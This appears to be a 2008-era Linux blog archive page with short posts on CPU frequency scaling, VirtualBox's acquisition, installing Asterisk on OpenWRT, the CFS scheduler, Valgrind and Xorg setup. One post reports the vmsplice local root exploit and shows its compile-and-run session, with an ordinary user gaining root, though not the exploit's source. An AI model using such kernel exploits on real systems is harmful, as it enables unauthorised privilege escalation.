Green Linux thru CPU Frequency Scaling

Green EnergyBeing “Green” is being helpful towards the environment, but also to your electricity bills… The most commonly used techniques to reduce the power usage of a computer device are :

  • Turning off your monitor/screen/tv when not used.
  • Turning off the hard disks when they aren’t used
  • CPU Frequency Scaling

For the last bit, you’ll have to check if you motherboard/cpu supports this… Most will probably support this, apart from the “really” old. The motherboard (& CPU) of my HTPC (MythTV) is capable of using AMD’s Cool’n’Quiet. I followed the following guide on the Ubuntu Forum, and used the “powersave” algorithm. It reduced my CPU frequency to 1000, where I must admit that I don’t notice anything on my combined MythTV frontend/backend. Next up is measuring the actual power usage, but I need to obtain a measuring device for that… πŸ˜‰

Extra
For an interesting readup on the same topic; check MythTV NZ, ThinkWiki’s How to reduce power consumption, …

Linux being cursed because it’s free?

The story below is an excerpt from an article written by Vlad Dolezal. Being a student of psychology, he took another point of view towards linux evangelism.
Psychology

In the 1970’s, a record label in Britain was selling albums containing cover versions of contemporary songs. Although the records sold for less than a pound a copy, hardly anyone bought them and the record company was suffering.

A whizz-kid joined the board and announced he wanted to more than double the price of the records. The other executives were shocked, but eventually agreed to his plan. Within a few weeks, the records were flying off the shelves.

When the records didn’t cost much, people didn’t value them. The record company was saved by redefining people’s perception of their product.

The article is build around the concept that people only value the things that they cannot obtain easily. It’s just about the basic human nature… Check it out!

Innotek (VirtualBox) Acquired by Sun

Press announcement

virtualboxSANTA CLARA, CA February 12, 2008 Sun Microsystems, Inc. (NASDAQ: JAVA) today announced that it has entered into a stock purchase agreement to acquire innotek, the provider of the leading edge, open source virtualization software called VirtualBox. By enabling developers to more efficiently build, test and run applications on multiple platforms, VirtualBox will extend the Sun xVM platform onto the desktop and strengthen Sun’s leadership in the virtualization market. This software is available for all major operating systems at http://www.virtualbox.org and http://www.openxvm.org.

So sun strengthens it’s product portfolio by adding a virtualization option.

Linux Kernel 2.6.17 – 2.6.24.1 vmsplice Local Root Exploit

Hacked

A proof of concept for a local root exploit to hack linux kernels between version 2.6.17 and 2.6.24.1 has been released by ‘milw0rm’. I guess I won’t be the only one who says “feck…” to this.

$ gcc exploit.c -o exploit
$ whoami
heikki
$ ./exploit
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d90000 .. 0xb7dc2000
[+] root
$ whoami
root
Kernel 2.6.22-14-generic

References:
LKML
milw0rm.com
Launchpad
Debian Bugs

Installing Asterisk on a Linksys WRTG

A while back I wrote a small piece about installing OpenWRT on a Linksys WRTG. This part will be focussed on installing Asterisk on your WRTG.

Asterisk

Base Install
First we’ll be installing “OpenWRT” as our base “OS”. We’ll take the latest WhiteRussian for this. The flashing is done, when the progress indicator seems to hang.

Step-by-step

root@OpenWrt:/# cd /tmp/
root@OpenWrt:~# wget http://downloads.openwrt.org/whiterussian/0.9/default/openwrt-brcm-2.4-squashfs.trx
Connecting to downloads.openwrt.org[195.56.146.238]:80
openwrt-brcm-2.4-squ 100% |***************************************************************************| 1512 KB 00:00 ETA
root@OpenWrt:~# mtd -r write /tmp/openwrt-brcm-2.4-squashfs.trx linux
Unlocking linux …
Writing from /tmp/openwrt-brcm-2.4-squashfs.trx to linux … [w]

Packages
Now we’ll connect to our newly installed device, in orde to:

  • Setup a password
  • Update/Upgrade the packages
  • Install Asterisk

Continue reading “Installing Asterisk on a Linksys WRTG”

The basics behind the Completely Fair Scheduler

The GNU/Linux kernel, version 2.6.23, comes with a modular scheduler core and a Completely Fair Scheduler (CFS), which is implemented as a scheduling module. If you’re interested in the workings of this scheduler, be sure to check out the following article at DevWorks. Below you can find an excerpt of the article, which is in my opinion the core of the article.

How CFS worksSchedule
The CFS scheduler uses an appeasement policy that guarantees fairness. As a task gets into the runqueue, the current time is recorded, and while the process waits for the CPU, its wait_runtime value gets incremented by an amount depending on the number of processes currently in the runqueue. The priority values of different tasks are also considered while doing these calculations. When this task gets scheduled to the CPU, its wait_runtime value starts decrementing and as this value falls to such a level that other tasks become the new left-most task of the red-black tree and the current one gets preempted. This way CFS tries for the ideal situation where wait_runtime is zero!

Continue reading “The basics behind the Completely Fair Scheduler”

Valgrind : profiling memory leaks under linux

I stumbled upon a tool with high potential when tracing/profiling under linux. I’ll immediately take you to an excerpt from the Valgrind Quickstart:

The Valgrind tool suite provides a number of debugging and profiling tools. The most popular is Memcheck, a memory checking tool which can detect many common memory errors such as:
Memory

  • Touching memory you shouldn’t (eg. overrunning heap block boundaries, or reading/writing freed memory).
  • Using values before they have been initialized.
  • Incorrect freeing of memory, such as double-freeing heap blocks.
  • Memory leaks.

Continue reading “Valgrind : profiling memory leaks under linux”

Tips & Tricks : Finding your monitor settings for your xserver config

Xorg

This post is meant to share a small trick that I often use when installing linux on unknown systems. In my opinion, one of the biggest downsides in linux is setting up your monitor. Imagine starting out with linux, cause you hear it was great, installed it… and got an ugly looking desktop because the Xorg.conf is has the default properties.

Then you have a lot of evangelists saying you can perfectly calculate these values, but the thing that pops into my mind at this point is “user friendliness”.

A lot of things said to come down to the trick:

  • Download knoppix
  • Burn/mount it, so you can boot from it
  • Boot your desktop/laptop with the knoppix live-cd.
  • Backup the Xorg.conf file
  • Boot your main linux distro (cfr. Ubuntu, Suse, Fedora, RedHat, Debian, … whatever)
  • Backup your original Xorg.conf file
  • Restore the Xorg.conf file from the Knoppix generated one
  • Tweak it to your preferences

A additional & simple step that might ease up things for you… πŸ˜‰

LinuxDevices.com presents 28 papers about real-time & embedded linux

The link

The papers are available free, and without registration, via the links below

The links below will lead you to a summary of each talk, and to a link for downloading the associated paper (PDF file). Note: Paper titles followed by “*” are not currently available for download — check back later for the latest downloads. Enjoy . . . !

Continue reading “LinuxDevices.com presents 28 papers about real-time & embedded linux”